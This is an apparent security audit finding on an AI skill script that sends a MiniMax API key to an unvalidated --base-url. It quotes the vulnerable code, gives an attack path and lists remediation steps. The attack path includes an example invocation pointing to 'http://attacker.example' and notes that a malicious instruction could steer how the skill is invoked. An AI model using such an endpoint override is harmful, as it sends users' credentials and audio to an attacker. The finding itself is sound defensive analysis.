T09 · Insecure Skill Coding Practices
- Location
scripts/generate.py:266- Finding
Unrestricted API Endpoint Override Can Expose Credentials and User Content
- Content
View full analysis
Vulnerability Details
File Location:
scripts/generate.py:266-275,scripts/generate.py:479-494
Vulnerability Type: Unrestricted network destination with credential forwarding
Risk Level: HighVulnerable Code
python resp = requests.post( f"{base_url}/v1/music_generation", headers={ "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", }, json=payload, timeout=timeout, )python parser.add_argument( "--base-url", default=None, help="API Base URL(默认使用文件顶部配置)" )python final_api_key = args.api_key if args.api_key else API_KEY final_base_url = args.base_url if args.base_url else BASE_URLTechnical Analysis
The
--base-urlargument accepts an arbitrary string without validating its scheme, hostname, port, or relationship to the approved MiniMax API domains. The selected URL is subsequently used as the destination of an authenticated HTTP request.Every music-generation request sends the API key in the
Authorizationheader. Depending on the selected operation, the JSON body can also contain prompts, lyrics, externally supplied audio URLs, or Base64-encoded local reference audio. The implementation does not require HTTPS and does not restrict requests toapi.minimaxi.comorapi.minimaxi.io.This is not evidence of a deliberately hidden exfiltration mechanism: sending content to MiniMax is necessary for the declared cloud-based generation functionality, and local audio encoding is documented. However, permitting an arbitrary endpoint exceeds the minimum network privileges required for that functionality.
Attack Path
- An attacker, malicious instruction, or untrusted wrapper influences the command used to invoke the Skill.
- The invocation includes an attacker-controlled endpoint, such as
--base-url http://attacker.example. - The user or environment supplies a valid A ...[truncated 936 chars]
- Remediation
View remediation
Remediation Suggestions
- Remove
--base-urlunless custom endpoints are essential. - If the option must remain, allow only exact approved origins:
https://api.minimaxi.comhttps://api.minimaxi.io
- Parse the URL with a standard URL parser and reject:
- Plaintext HTTP.
- Embedded usernames or passwords.
- Unapproved hostnames and ports.
- IP literals and ambiguous hostname forms.
- Query strings or fragments in the configured base URL.
- Disable redirects, or validate every redirect destination against the same allowlist before forwarding credentials.
- Never forward the
Authorizationheader across origins. - Require explicit user confirmation before uploading a local audio file.
- Add tests proving that malformed URLs, HTTP URLs, deceptive subdomains, and redirect-based bypasses are rejected.
- Remove
